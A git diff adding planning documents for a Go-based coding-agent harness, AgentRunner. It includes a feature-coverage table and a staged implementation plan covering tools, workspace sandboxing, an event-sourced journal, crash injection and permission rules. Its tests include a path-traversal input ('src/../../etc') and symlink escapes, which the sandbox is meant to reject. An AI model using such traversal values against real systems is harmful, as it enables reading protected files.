有活跃子 agent 时的 fork/rewind | CC | ★ | +| 🔧 | dynamic runtime agent definition | 运行时动态定义新 agent | CC | ★ | +| ✅ | subagent directory prompt injection | 子 agent 目录注入 prompt(模型知道能 spawn 谁) | 两家 | ★★★ | + +## 6. Session 与 surfaces(19 项) + +| 判定 | 功能点 | 说明 | 产品 | 重要度 | +|:--:|---|---|:--:|:--:| +| ✅ | session list / resume / continue | 会话枚举、恢复、续跑 | 两家 | ★★★ | +| ⚠️ | cross-version resume | 周更 CLI 后仍能恢复旧会话 | 两家 | ★★★ | +| ✅ | rewind granularity | 恢复仅代码/仅对话/两者 | CC | ★★ | +| 🔧 | session teleport | 本地 ↔ 云端会话迁移、远程容器会话 | 两家 | ★★ | +| ⚠️ | multiple concurrent sessions per workspace | 同一 workspace 多个并发会话 | 两家 | ★★ | +| ✅ | headless -p mode | headless 单发、json/stream-json 输出、--resume | 两家 | ★★★ | +| 🔧 | Agent SDK | 进程内 query、canUseTool 回调、进程内自定义工具、hook 回调 | 两家 | ★★★ | +| ✅ | server mode (HTTP/WS) | server 形态暴露同一协议 | 两家 | ★★ | +| 🔧 | multi-client attach | 手机+桌面同时看/控同一会话 | 两家 | ★★ | +| 🔧 | IDE integration | diff 视图、编辑器选区上下文、@ 引用 | 两家 | ★★ | +| ✅ | GitHub Actions / @claude mention | GitHub 提及触发新 run | 两家 | ★★ | +| 🔧 | webhook into dormant session | webhook/PR 事件流入休眠会话 | CC | ★★ | +| 🔧 | scheduled/cron triggers & self wake-up | 定时触发、自唤醒;进程不在时的 timer | 两家 | ★★ | +| 🔧 | notifications & statusline | 桌面/推送通知、状态栏 | 两家 | ★★ | +| ✅ | /cost accounting | 成本查询(含 cache 命中口径) | 两家 | ★★ | +| 🔧 | OTel metrics/traces export | OTel 指标/追踪导出 | CC | ★ | +| ✅ | transcript export & audit | transcript 导出、审计合规 | 两家 | ★★ | +| 🔧 | parallel attempts / best-of-N | 同一任务并行多次尝试选优(Codex cloud) | Codex | ★ | +| 🔧 | slash commands over protocol | 协议层的 slash command 调用 | 两家 | ★★ | + +## 7. MCP / skills / plugins / commands 生态(23 项) + +| 判定 | 功能点 | 说明 | 产品 | 重要度 | +|:--:|---|---|:--:|:--:| +| ✅ | MCP stdio transport | stdio 传输 | 两家 | ★★★ | +| 🔧 | MCP streamable HTTP / SSE | 远程 HTTP/SSE 传输 | 两家 | ★★ | +| ⚠️ | MCP OAuth & token storage | OAuth 授权流程与 refresh token 存储 | 两家 | ★★ | +| ✅ | MCP server health & reconnect | 健康检查、重连、中途 crash 恢复 | 两家 | ★★ | +| ✅ | MCP tools/list_changed | server 中途变更工具集的通知 | CC | ★★ | +| 🔧 | MCP resources @-mention | @ 引用 MCP 资源内容 | CC | ★★ | +| 🔧 | MCP prompts as slash commands | MCP prompts 暴露为命令 | CC | ★ | +| ⚠️ | MCP sampling / elicitation | server 反向请求 LLM/用户输入 | CC | ★ | +| 🔧 | deferred tool loading (ToolSearch) | 几千个工具按需加载,不全进上下文 | CC | ★★ | +| ✅ | skills progressive disclosure | SKILL.md 列表常驻、body 触发时注入 | CC | ★★★ | +| 🔧 | skill scripts & allowed-tools | skill 携带脚本资源、工具白名单 | CC | ★★ | +| 🔧 | plugins marketplace bundle | 插件打包 commands/agents/skills/hooks/MCP | CC | ★★ | +| 🔧 | slash commands (markdown) | .claude/commands、$ARGUMENTS、frontmatter | 两家 | ★★★ | +| 🔧 | command bash pre-exec & file refs | 命令体内嵌 bash 预执行、@文件展开 | CC | ★★ | +| 🔧 | output styles switch | 切换 system prompt 人格 | CC | ★ | +| 🔧 | memory shortcut (#) | # 开头一键写入 CLAUDE.md | CC | ★★ | +| ✅ | memory files (CLAUDE.md/AGENTS.md) | 记忆指令文件注入 | 两家 | ★★★ | +| ✅ | Codex profiles & custom prompts | config.toml profiles、自定义 prompts 目录 | Codex | ★★ | +| 🔧 | hook lifecycle event matrix | hook 全事件矩阵(生命周期类) | CC | ★★ | +| 🔧 | hook input mutation | hook 改写输入 | CC | ★★ | +| ✅ | custom subagents as data | 自定义子 agent 即数据文件 | CC | ★★ | +| 🔧 | MCP dynamic server add/remove | 运行时增删 MCP server | CC | ★ | +| ✅ | MCP tool permission rules | mcp__server__tool 级权限规则 | 两家 | ★★ | + +## 8. Provider 能力映射(22 项) + +| 判定 | 功能点 | 说明 | 产品 | 重要度 | +|:--:|---|---|:--:|:--:| +| ✅ | Anthropic cache_control mapping | 断点数量/TTL/最小长度/层级失效规则 | CC | ★★★ | +| ✅ | dynamic tool surface cache invalidation | 工具列表变更 → 全缓存失效的规则 | 两家 | ★★ | +| 🔧 | thinking signature opaque roundtrip | 签名/加密推理块的不透明无损往返 | 两家 | ★★★ | +| 🔧 | interleaved thinking beta | beta header 开关 | CC | ★★ | +| ✅ | fine-grained tool streaming | 细粒度工具参数流式 | CC | ★ | +| 🔧 | structured outputs / response_format | 结构化输出各家方言 | 两家 | ★★ | +| 🔧 | tool_choice & parallel control | tool_choice、禁用并行调用 | 两家 | ★★ | +| 🔧 | long-context 1M pricing tier | 1M 上下文 beta 与计价档 | CC | ★★ | +| ⚠️ | server-side tools | web_search/code_execution 由 API 侧执行 | 两家 | ★★ | +| ⚠️ | MCP connector (API-side) | API 直连 MCP server,绕过本地管线 | 两家 | ★ | +| 🔧 | vision / PDF input | 图像与 PDF 输入映射 | 两家 | ★★ | +| 🔧 | citations | 引用标注 | CC | ★ | +| 🔧 | count_tokens endpoint | token 预计数 | 两家 | ★ | +| 🔧 | Batch API fan-out | 批处理降本(子 agent 扇出) | 两家 | ★ | +| 🔧 | OpenAI Responses API | stateful responses、reasoning items 回传、内建工具 | Codex | ★★★ | +| 🔧 | Gemini caching model | 显式 cache 句柄 + 存储计费 + 隐式缓存 | 两家 | ★★ | +| ✅ | Gemini thinking & function modes | thinking config、函数调用模式 | 两家 | ★★ | +| ✅ | stream retry & rate limit semantics | 流中断恢复、429/529/retry-after | 两家 | ★★★ | +| ⚠️ | cross-provider fallback history translation | 跨 provider 切换时历史转译(签名不可移植) | 两家 | ★★ | +| 🔧 | capability declaration operability | capability 声明 + 显式降级的逐项落地 | 两家 | ★★ | +| 🔧 | model pricing metadata | 模型价格元数据(记账用) | 两家 | ★★ | +| ⚠️ | OAuth subscription auth | 订阅 OAuth 认证(同 agent-loop 条目,provider 视角) | 两家 | ★★ | + +--- + +**统计**:clean 61 · extension 87 · friction 18 · blocker 0(共 166 项)。 +18 个 ⚠️ friction 全部同根归并为 [CAPABILITY-REVIEW.md](CAPABILITY-REVIEW.md) +的 7 条主修订 + 8 条一句话契约 + 9 条 minor,具体修改指令见 +[DESIGN-SUGGESTIONS.md](DESIGN-SUGGESTIONS.md)。 diff --git a/PLAN.md b/PLAN.md new file mode 100644 index 0000000..8290489 --- /dev/null +++ b/PLAN.md @@ -0,0 +1,833 @@ +# AgentRunner — 实施计划(Implementation Plan) + +本文档是 `STAGES.md` 七阶段的 **step-by-step 实施计划**。已经过三视角 +对抗式 review(依赖顺序 / 覆盖忠实度 / 可执行性,共 32 条发现)修订。 + +粒度约定:**S1–S3 细到单步**(每步一个可验证交付物),**S4–S6 细到 +模块序列**,**S7 保持里程碑级**(延迟批次,届时 kickoff refinement)。 + +执行方式:每个 stage 用 loop 式迭代实现(实现一步 → 测试 → 小结 → +下一步);stage 结束跑对抗式 review;进入 stage N 前做 kickoff +refinement(只许细化步骤,不许动 DESIGN.md 不变量——要动必须停下、 +写清冲突、单独 review)。 + +## 预期返工声明(全局,计划内而非事故) + +1. **S2 重写 S1 loop 的编排**到 activity + fold state 之上 + (provider/tool/workspace 接口不动——S1 的接口从第一天按 S4 的 + 最终形态设计,见 1.2)。 +2. **S4.3 把 loop 从顺序执行翻成并发执行**(到达序落盘 + assembly + 重排)。缓解:从 2.10 起 tool 结果一律按 call_id map 存储, + 不存有序列表——重排从来都是 assembly 的事。 +3. **1.6 的 bash 墙钟超时是临时的**,2.11 durable timer 落地后迁移。 + +--- + +## 0. 技术栈与工程基座(S1 第 0 步,此后不变) + +| 项 | 选择 | 说明 | +|----|------|------| +| 语言 | **Go 1.23+** | goroutine/channel 与 actor/mailbox 天然同构;单静态 binary 跨平台分发;编译期检查利于 AI 迭代 | +| SDK | `google.golang.org/genai`(S1)、`anthropic-sdk-go`(S4)、`modelcontextprotocol/go-sdk`(S5) | 三个关键依赖均有官方 Go SDK | +| 配置/序列化 | `gopkg.in/yaml.v3` + 手写校验;event 用 `encoding/json` | 坏 spec 的精确报错由 1.1 黄金测试逼出 | +| 测试 | `go test` + `go-cmp`;三层:unit / integration / crash | | +| 静态检查 | `golangci-lint`(含 forbidigo:kernel/state/pipeline 内禁用 `time.Now`/`time.Sleep`,强制走 Clock) | | +| 日志 | `log/slog`,`AGENTRUNNER_DEBUG=1` 提升级别;日志文件在 data dir,与 journal 分离,过 redaction | | +| 平台 | **Linux/macOS only**;Windows 原型阶段显式不支持(进程组/flock 全 POSIX) | | +| 内置数据 | tool 定义等数据文件用 `go:embed` 打进 binary | | + +仓库布局(Go 惯例,逐阶段长出来): + +``` +cmd/agentrunner/ # main +internal/ + kernel/ # S2: actor, mailbox, bus, envelope + event/ # event/command 类型注册(单一出处) + store/ # S2: EventStore(JSONL); S5: ArtifactStore(CAS) + state/ # S2: fold/apply(分命名空间 sub-state)、snapshot、resume + clock/ # S2: Clock 接口 + FakeClock + errs/ # S2: 错误分类学 + pipeline/ # S3: 四关卡 + agent/ # spec、loop、context assembly、multi-agent + provider/ # base + gemini(S1) + anthropic(S4) + scripted(测试) + workspace/ # 路径边界(S1 起) + tool/ # 内置 tool 定义(数据)+ 实现 + runtime/ # 装配、session、epilogue;S6: daemon、notifier、scheduler、driver + cli/ +testdata/fixtures/ # 录制的 provider 应答、样例 repo(版本入库) +specs/ # 示例 agent spec +scripts/check.sh # golangci-lint + go test 全绿 = 一步完成 +``` + +跨阶段测试基座: +- **ScriptedProvider**(1.3a 建):按 session 内**序列**匹配回放, + 每条 fixture 可附对请求关键字段的断言(tool 名集合、末条消息含 X), + 漂移即响亮失败;fixture 由录制工具生成(见 1.3a),刻意的 prompt + 变更 ⇒ 重录,小单测可手写 YAML fixture。 +- **样例 repo fixture**:小 Go 工程(含可跑的失败测试),版本入库于 + `testdata/`,**每个测试复制到 tmp workspace 再操作**,绝不弄脏库内副本。 +- **真实仓库 testbed**(中等规模、可复现):`scripts/testbed.sh` 把钉死 + 的外部仓库 clone 到 scratch 目录——默认 + `gin-gonic/gin@v1.10.1`(`b5af7796…`,约 2 万行,MIT,测试齐全); + 更大任务用 `caddyserver/caddy`(约 6 万行,Apache-2.0)作第二档。 + **可复现的任务构造**:clone 钉死 commit → 应用 `testdata/testbed/` + 里的已知 bug patch → agent 修复 → 跑该仓库测试。testbed 场景不进 + 单测 CI,只挂 acceptance(`requires: [testbed]`),从 S1 出口检查点 + 起用于真实环境验收,S4/S6 起用于 dogfood。 +- **本地凭据**:repo 根 `.env`(已 gitignore、0600)存 + `GEMINI_API_KEY` 等;CLI 与测试启动时若存在 `.env` 则加载。 + **绝不提交、绝不进 fixture/journal**(redaction 兜底)。 + +--- + +## 0.5 Loop-mode 执行协议(执行 agent 的操作契约) + +本计划由 coding agent 在 session 内以 loop 方式逐步执行。契约如下: + +1. **启动顺序**:读 PLAN.md §0 + 当前 stage 的步骤表 → STAGES.md 对应 + 段 → 步骤引用到的 DESIGN.md 章节 → `PROGRESS.md` 定位当前步。 +2. **进度台账**:repo 根维护 `PROGRESS.md`,每步一节:状态、 + **所做的每个决定**(凡计划未指定而自行选择的,必须记录为 decision)、 + 留给 stage review 的 open questions。随该步一起提交。 +3. **一步一 commit,commit 即 push**:格式 `S.: + <交付物摘要>`,body 列 decisions/deviations;`scripts/check.sh` + 全绿才 commit(1.0 自举例外:该步创建 check.sh)。**每次 commit + 后立即 push 到 `origin/main`**——只用 main,不开分支,session + 开始先 fetch + fast-forward(项目硬规则,见 CLAUDE.md)。 +4. **不可验证项**:验证列需要环境缺失的资源(如 `GEMINI_API_KEY`、 + 人工验收)→ 照常实现 + 单测,验证标 `DEFERRED: <原因>` 记入 + PROGRESS.md,继续前进——**绝不停等人类**;stage 出口的人工检查点 + 集中补验全部 DEFERRED 项。 +5. **阻塞分流**:*欠规格*(计划没说)→ 选合理默认、记录、继续, + review 裁决;*违反 DESIGN.md 不变量* → 停下该步,按不变量变更流程 + 写清冲突,**终止 loop 并以冲突为最终报告**。 +6. **前向依赖**:步 N 依赖 M>N 的产物 → 用最小 stub + `TODO()` + 标记,M 的出口清单加"替换 stub";相邻步可对调,记录于 PROGRESS.md; + 跨 stage 顺序不得自行变更。 + +## 0.6 Acceptance tests 与验收 UI + +**原则:每个 stage 的完成标志逐句映射为可执行的 acceptance 场景**—— +完成标志里的每一句话都必须有对应场景 id,否则该句视为不可验收。 + +- **场景即数据**:`testdata/acceptance/s/*.yaml`: + `{id, title(人话描述,用户读得懂), requires: [live?], steps: [命令/操作], + expect: [断言:退出码/文件内容/journal 含记录/输出匹配]}`。 +- **Runner**:`agentrunner accept --stage `。TTY 下为 **bubbletea + TUI**:清单式进度(pending / spinner / PASS / FAIL + 耗时),失败项 + 展开命令输出与日志路径;非 TTY 降级为纯文本逐行,**总是**写 + `acceptance-report.json`(loop-mode agent 靠它自判结果)。 +- **SKIPPED 语义**:`requires: [live]`(需凭据)或 `requires: [testbed]` + (需外网 clone testbed)的场景在条件缺失时标 SKIPPED(区别于 FAIL); + stage 出口要求 FAIL=0,SKIPPED 项归入人工检查点。 +- **演进**:v0 在 S1(步 1.11)落地,支持命令执行 + 退出码/文件/journal + 断言;S2 加崩溃注入场景包装,S4 加流式输出断言,逐 stage 生长。 + +--- + +## Stage 1 — 会干活的 agent(walking skeleton) + +| # | 步骤 | 交付物 | 验证 | +|---|------|--------|------| +| 1.0 | 工程基座 | go module、golangci-lint(含 forbidigo 规则)、`scripts/check.sh`、slog 日志约定、`agentrunner --version` | check.sh 全绿 | +| 1.1 | 最小 spec | `AgentSpec{name, model{provider,id,max_tokens}, system_prompt|_file, tools[], max_turns?}` + loader + 校验;unknown-tool 先对硬编码 `knownTools`(`TODO(1.5)` 换注册表) | 坏 spec 黄金错误测试(缺字段/未知 tool/文件不存在,断言全文,格式见执行包) | +| 1.2 | provider 接口(按最终形态设计) | `Complete(ctx, req) → 流(iter.Seq[StreamEvent])` + `CollectTurn()` 帮手(S1 loop 用);归一化 `Message/Part`,**`Part` 自带 harness call_id 与 opaque `Extras/Signature` 字段**(S4 的 thoughtSignature 落位处);`Capabilities()` 先返回空 | 类型单测;接口在 S2/S4 不再变更是本步的验收承诺 | +| 1.3 | Gemini provider | env 读 key、请求映射、流式实现、functionCall↔call_id 映射、usage 提取 | live 冒烟测试(`-tags live`;**无 key 时 t.Skip 并标 DEFERRED**,见 0.5 第 4 条) | +| 1.3a | ScriptedProvider + 录制工具 | 同接口回放实现(序列匹配 + 字段断言);`agentrunner record-fixture` 包装 live run 生成 fixture(过凭据 redaction) | 录一个 fixture 并回放通过 | +| 1.4 | workspace 抽象 | root、`Resolve(path)`(realpath + `..` 归一 + 边界检查,越界拒) | symlink/`..` 逃逸全拒(钩子 1 生效) | +| 1.5 | tool 定义即数据 | `ToolDef{name, desc, json_schema, class}`,内置定义 `go:embed` | schema 渲染进 provider 请求 | +| 1.6 | 三个 tool 实现 | read_file(截断)、edit_file(old/new 精确替换)、bash(`Setpgid`、**临时墙钟超时**、组 kill、输出截断) | 各自单测;超时杀干净子进程 | +| 1.7 | journal v0 | append-only JSONL(记录类型见执行包);**只记录不读回**。**先执行 1.7a 定目录再做本步**(相邻步对调,按 0.5 第 6 条记录) | 逐行可解析 | +| 1.7a | 数据目录与命名 | `$XDG_DATA_HOME/agentrunner/sessions//`;session id = `YYYYMMDD-HHMMSS-`;user 配置 `$XDG_CONFIG_HOME/agentrunner/settings.yaml`、project 配置 `.agentrunner/settings.yaml`、trust 注册表在 user data dir | 单测:路径解析与创建(0700 目录) | +| 1.8 | agent loop | turn 循环:LLM(CollectTurn)→ N 个 call 顺序执行 → 按 call_id 回填 → 继续;max_turns | ScriptedProvider 集成测试:多 turn 修文件 | +| 1.9 | CLI | `agentrunner run "task"`,turn 粒度打印 | 手动验收 | +| 1.10 | E2E | 样例 repo:agent 修一个失败测试;scripted fixture **手写**(3 turn:read→edit→bash,不依赖录制工具) | scripted 版入 CI 层;live 版标 DEFERRED 至出口检查点 | +| 1.11 | acceptance harness v0 | `agentrunner accept --stage 1`(0.6 的 runner:TUI + 纯文本 + report.json)+ S1 场景包(≥3:e2e-fix-test(scripted)、journal-readable、workspace-escape-denied) | `accept --stage 1` FAIL=0;TUI 手动查看一次 | + +**S1 完成标志**:`accept --stage 1` FAIL=0(live 场景可 SKIPPED, +出口人工检查点补跑);journal 可读。 + +### S1 执行包(预定默认值——执行 agent 不得再猜;偏离须记入 PROGRESS.md) + +- **module**:`github.com/ralphite/agentrunner`;version:`dev` + (`-ldflags -X main.version` 覆盖),`--version` 打印 + `agentrunner ()`。 +- **check.sh**:`gofmt -l` 检查 + `go vet` + `golangci-lint run` + + `go test ./...`(不含 live tag);`.golangci.yml` = 默认 linter 集 + + forbidigo 规则 `time\.(Now|Sleep)` 按路径限定 + `internal/(kernel|state|pipeline)/`(目录出现即生效)。 +- **provider 类型**:`StreamEvent{TextDelta | ToolCall | Usage | + FinishReason}`;`Part{Kind: text|tool_call|tool_result, Text, CallID, + ToolName, Args/Result json.RawMessage, Extras map[string]json.RawMessage}`; + roles `system|user|assistant|tool`; + `CollectTurn → (Message, []ToolCall, Usage, FinishReason, error)`。 +- **call_id**:harness 生成 `call__`(确定性,回放友好); + Gemini 适配层按位置映射回 functionResponse。 +- **spec 细则**:`system_prompt` 与 `system_prompt_file` 恰一; + `model.id` 必填(示例与 live 测试用 `gemini-2.5-flash`); + `max_turns` 可选、默认 40;错误格式 + `spec : field : `。 +- **fixture 格式**:每 session 一个 YAML: + `steps: [{expect: {tools_include, last_message_contains}, respond: [StreamEvents]}]`; + record-fixture CLI:`agentrunner record-fixture "task" -o `(过 redaction)。 +- **workspace**:root = `run` 的 cwd(1.9 加 `--workspace` 覆盖); + 越界错误 `path escapes workspace: -> `,读写皆拒。 +- **tool 细则**:定义文件 `internal/tool/defs/*.json` + `go:embed`; + class ∈ `read|edit|execute`;read_file 上限 2000 行 / 50KB; + edit_file 的 `old` 必须**恰好匹配一次**(0 或 N 次报错并说明次数); + bash:cwd = workspace root、默认 timeout 120s、SIGTERM→5s→SIGKILL + (pgid)、输出 head+tail 共 30KB 截断带标记。 +- **journal**:`sessions//journal.jsonl`;记录类型 + `run_meta{spec_name, model, task, version}` / `assistant_message{turn, + message}` / `tool_call{turn, call_id, name, args}` / `tool_result{turn, + call_id, result, is_error}` / `run_end{reason, turns, usage}`。 +- **路径**:`$XDG_DATA_HOME`(未设则 `~/.local/share`,macOS 同规则, + 不用 `~/Library`);session id = `YYYYMMDD-HHMMSS-` + (slug = task 前 30 字符,小写、非字母数字 → `-`)。 +- **loop 终止**:assistant 消息零 tool call 即完成;或达 max_turns → + journal `run_end{reason: max_turns}`。 +- **CLI**:`agentrunner run "task"`(spec 位置参数);退出码 + 0 = 完成 / 1 = 运行失败 / 2 = 用法或 spec 错误;启动时若 cwd 有 + `.env` 则加载(仅本地便利,不覆盖已存在的环境变量)。 + +--- + +## Stage 2 — 一切皆事实(event-sourced 内核) + +核心动作:journal 升级为 source of truth,loop 重写到 activity 之上 +(重写主体在 **2.10**,2.13 起依赖它)。 + +| # | 步骤 | 交付物 | 验证 | +|---|------|--------|------| +| 2.1 | event/command 类型 | Envelope 字段全数落定:`id/causation_id/correlation_id/sender/target/type/payload/ts` + **传播规则**(child.causation = parent.id,correlation 继承);`RunStarted{versions}`、`InputReceived`、`AssistantMessage`、`Activity*`、`WaitingState*`、`ActorCrashed`… | 序列化 round-trip | +| 2.2 | EventStore | 接口 + JSONL backend:per-stream seq 单调、原子 append + fsync、**文件 0600/目录 0700**、尾部半行容错、**per-session flock**(写者持锁,`run`/`resume` 撞锁即报 "held by pid N",含 stale 检测;读者免锁) | 并发 append、截断容错、锁冲突、权限位各一测 | +| 2.3 | kernel | Actor(goroutine+channel)、bus(send/publish)、command 按 `Envelope.id` 幂等去重、`ActorCrashed`(无自动重启) | 重复 command 只处理一次;**causation/correlation 链路断言** | +| 2.4 | fold/state | `state = fold(apply, events)`,apply 纯函数;**fold state 分命名空间 sub-state**(conversation / waiting / in-flight activities / …,各带 schema 版本,版本汇入 snapshot 头);**in-flight activity 集合作为 sub-state 即钩子 3 落位**;后续阶段新增 sub-state 在本表声明:S3 加 effects(3.2)/mode(3.6)/budget(3.7,即 reservations)、S4 加 compaction 视图、S6 加 tasks | 性质测试:fold 幂等;fold(全量)==fold(snapshot+尾部) | +| 2.5 | 调试工具 | `agentrunner events ` 美化打印 + `--state` fold 转储;测试帮手 `AssertFoldEqual`(结构化 diff) | 自测;后续所有 fold 断言经它 | +| 2.6 | 崩溃注入 harness 骨架 | 子进程跑 runner;**命名谓词注入**:`CRASH_AFTER=ActivityStarted:2`(第 2 条该类型 event 后 abort)+ 代码级命名注入点注册表(`after_exec_before_journal`、`between_gate_and_resolved`…,删点即测试响亮失败) | harness 自测(注入点触发与断言) | +| 2.7 | journal-inputs-first | 一切外部输入先 append 再消费 | 崩溃注入:输入落盘后 kill,resume 输入仍在 | +| 2.8 | 错误分类学 | `internal/errs`:typed 层级 + `Retryable` 标志;provider 错误映射(HTTP 状态/Gemini 码 → 分类)入 provider/base | 表驱动单测;3.9 只消费分类 | +| 2.9 | Clock 抽象 | `Clock{Now, WaitUntil}` 接口经 runtime 注入;`FakeClock.Advance()`;forbidigo 已在 1.0 拦直接调用 | FakeClock 快进单测 | +| 2.10 | activity 执行器 + loop 重写主体 | Started 先落盘 → 执行 → 终态落盘;通用 retry/backoff(**retry 可发 discard 标记**——S4 `TurnDiscarded` 的接缝);**可选 ephemeral 进度通道**(S2 不用,S4 delta/S6 task tail 复用);`idempotent` 标志;凭据 redaction;**tool 结果按 call_id map 存**;LLM/tool 全部改走执行器,loop 编排改为 fold state 驱动 | redaction/retry/幂等各一测;S1 集成测试在新 loop 上重跑 | +| 2.11 | durable timer | `TimerSet`/`TimerFired` event + runtime 调度(走 Clock);activity timeout、1.6 的 bash 墙钟超时迁移至此 | FakeClock 快进 + 崩溃后 timer 仍到期 | +| 2.12 | 进程组取消 | cancel signal → 组 SIGTERM→宽限(timer)→SIGKILL → 确认组退出才落 `ActivityCancelled{partial_output}`(有界 drain) | 孤儿断言:**按 session 标记的 pgid/env marker** 查,不 grep 全局 ps | +| 2.13 | snapshot-resume | turn 边界序列化 fold state(JSON,snapshot 头含各 sub-state 版本);resume = snapshot + fold 尾部 + 继续 loop;版本不匹配拒绝 | 等价测试;崩溃 harness 扩展 resume 断言 | +| 2.14 | 等待状态注册表 | **四个变体一次画全**:`WAITING_INPUT/APPROVAL/TASKS/TIMER` + 完整可中断性表(TASKS/TIMER 行已定义、标注"S6 前不可产生");interrupt journal 后带出等待 | 表驱动测试覆盖每格(暂不可产生的用合成 event) | +| 2.15 | in-doubt | resume 见 Started-无终态 → 上浮(`idempotent: true` 除外) | 崩溃注入 `after_exec_before_journal`:不重跑、上浮 | +| 2.16 | run 收尾 epilogue 骨架 | 固定序列落位:quiesce(no-op) → auto-publish(no-op) → **[barrier no-op]** → 终态 event;**此后任何加 run 结束步骤的 feature 必须挂进此序列**(钩子 2 验收点从此在这里) | 终态路径单测 | +| 2.17 | CLI 收口 + 出口矩阵 | `resume `、`sessions list`;S1 E2E 场景在新内核重跑;**全崩溃注入矩阵 = S2 出口门** | 矩阵全绿 | + +**S2 完成标志**:崩溃矩阵全绿——任意命名注入点 kill 后 resume 分毫 +不差、in-doubt 上浮、等待状态跨进程存活(**用合成 event 验证; +"审批全流程挂起存活"是 3.5 的验证项**——STAGES.md 已同步勘误)。 + +### S2 执行包(kickoff refinement 预定默认值——偏离须记入 PROGRESS.md) + +- **包布局**:`internal/event`(Envelope + 全部 event/command payload + 类型 + 类型注册表)、`internal/store` 升级为 EventStore(journal v0 + 同包共存到 2.10,loop 切换后删除 journal 写入)、`internal/kernel` + (actor/bus,forbidigo 生效区)、`internal/state`(fold + sub-states, + forbidigo 生效区)、`internal/errs`(2.8)、`internal/clock` + (Clock/FakeClock,在 forbidigo 区外——唯一合法 wall-clock 出口)、 + `internal/crash`(命名注入点注册表;生产构建为 no-op,含 + `AGENTRUNNER_CRASH` 时 `os.Exit(137)`)。 +- **Envelope 线上形态**(events.jsonl 每行一个): + `{seq, id, causation_id, correlation_id, sender, target, type, + payload, ts}`;`seq` 由 EventStore 追加时赋值(per-session 单调, + 从 1 起);event id = `evt-`(追加后确定);command id 由发送方 + 生成 `cmd-<8hex>`(crypto/rand——command 属外部输入,先 journal 再 + 消费,不破坏回放确定性)。传播:`child.causation_id = parent.id`、 + `correlation_id` 全链继承(根 = run 的 correlation,即 session id)。 +- **文件布局**:`sessions//events.jsonl`(0600)、 + `sessions//lock`(flock + 写入 `pid\n`,撞锁读 pid 报 + `session held by pid N`;持锁进程不存在(`kill -0` 失败)即 stale, + 抢占并覆写)、`sessions//snapshots/.json`(0600, + snapshot 不是 event,不进流)。读者(`events`/`accept` 检查)免锁。 +- **event 类型清单(S2 全集,S3+ 只加不改)**: + `RunStarted{spec_name, model, task, version, sub_state_versions}` / + `InputReceived{text, source}` / `TurnStarted{turn}` / + `AssistantMessage{turn, message}` / + `ActivityStarted{activity_id, kind: llm|tool, name, args, call_id?, + idempotent, attempt}` / + `ActivityCompleted{activity_id, result, usage?, is_error}` / + `ActivityFailed{activity_id, error{class, message, retryable}, attempt}` / + `ActivityCancelled{activity_id, partial_output}` / + `TimerSet{timer_id, fire_at, purpose}` / `TimerFired{timer_id}` / + `WaitingEntered{kind: input|approval|tasks|timer, detail}` / + `WaitingResolved{kind, resolution}` / `ActorCrashed{actor, error}` / + `RunEnded{reason, turns, usage}`。payload 一律独立 struct + 注册表 + `map[type]func() any`(round-trip 测试逐类型驱动)。 +- **activity id 确定性**:LLM = `llm-t`;tool = `tool-` + (call_id 已确定性);重试不换 id,靠 `attempt` 区分。 +- **fold state 形态**:`state.State{Conversation, Activities, Waiting, + Run}` 四个命名空间 sub-state,各实现 `Version() int`(全部从 1 起); + snapshot 头 = `{upto_seq, sub_state_versions map[string]int}`; + `Activities` = in-flight 集合(钩子 3):`map[activity_id]StartedInfo`, + 终态 event 移除;`Run` = 状态机 `running|waiting|ended` + turn 计数 + + usage 累计。apply 纯函数:`func Apply(s State, e event.Envelope) + (State, error)`——未知 event type 是 error(拒绝静默丢失实)。 +- **崩溃注入两轨**:(a) 计数谓词 `AGENTRUNNER_CRASH=after::` + ——EventStore append 成功后检查;(b) 命名点 + `AGENTRUNNER_CRASH=point:`——代码内 `crash.Point("")`。 + S2 注册点:`after_journal_input`、`after_exec_before_journal`、 + `after_snapshot_write`、`before_run_end`(S3 加 + `between_gate_and_resolved`)。harness 断言注册表含全部期望名—— + 删点即测试响亮失败。 +- **Clock**:`clock.Clock{Now() time.Time; WaitUntil(ctx, t) error}`; + `FakeClock.Advance(d)` 唤醒到期 waiter;runtime 注入,kernel/state + 只经接口。durable timer:`TimerSet` 落盘 → 调度器 `WaitUntil` → + `TimerFired` 落盘;resume 时扫 fold 里未 fired 的 timer 重新调度 + (过期即刻 fire)。 +- **错误分类学**:`errs.Class` ∈ `provider_rate_limit | provider_server | + provider_auth | provider_invalid | tool_failed | timeout | canceled | + internal`;`Retryable()`:rate_limit/server/timeout = true,其余 false; + Gemini 映射:429→rate_limit、5xx→server、401/403→auth、400→invalid。 +- **retry/backoff**:仅 `Retryable` 类重试;上限 3 次尝试,backoff + 1s/4s(经 Clock,可 FakeClock 快进);每次尝试都是新 + `ActivityStarted{attempt: n}`。 +- **CLI**:`agentrunner events [--state] [--json]`(美化 + 打印默认;`--state` 输出 fold 终态 JSON);`agentrunner resume + `;`agentrunner sessions list`(按 mtime 倒序表格:id、 + 状态(读 fold)、turns)。session-id 参数接受唯一前缀。 +- **顺序微调预授权**:2.5(调试工具)可提前到 2.4 之后立即做(fold + 断言全靠它);2.6 与 2.7 可合并为一个 commit(harness 骨架的自测 + 就是 journal-inputs-first 的第一个用例)。其余顺序不变。 + +--- + +## Stage 3 — 治理副作用(effect pipeline) + +| # | 步骤 | 交付物 | 验证 | +|---|------|--------|------| +| 3.1 | 管线框架 | effect 描述、四关卡接口、`EffectResolved`(判定终结后——放行或拦下都落盘——执行前;ask 路径在应答后);post-hook 结果挂 `ActivityCompleted` | 每条路径落盘时点单测 | +| 3.2 | in-doubt 扩展 | 进关卡无 `EffectResolved` → in-doubt | 注入点 `between_gate_and_resolved` | +| 3.3 | permission rules | tool/path(经 workspace.Resolve)/bash command 模式;allow/ask/deny;序 user > project > spec | 表驱动;`src/../../etc` 拒绝 | +| 3.4 | 配置分层 + 信任 | spec + user + project 三源合并(**注:从 S5 提前,S5 只剩 skills/memory 合并**);project 层 hooks 默认忽略,`agentrunner trust ` 显式信任(注册表在 1.7a 的位置) | 不受信 repo 的 hook 不执行 | +| 3.5 | 审批流 | ask → `ApprovalRequested`(**预留 `payload_ref`**)→ `WAITING_APPROVAL` → 应答 journal → 继续/拒绝渲染;**denied-by-interrupt**:等待中 interrupt → 审批按拒绝解决、call 渲染 `[interrupted by user]`、loop 继续 | 崩溃注入:挂起中 kill → resume → 批准继续(S2 出口欠的验证在此补齐);FakeClock 挂两天;interrupt 路径测试 | +| 3.6a | mode 数据模型 | mode = 工具面过滤(按 ToolDef.class)+ 数据描述;`default/plan/acceptEdits/bypass` | 过滤表驱动测试 | +| 3.6b | mode 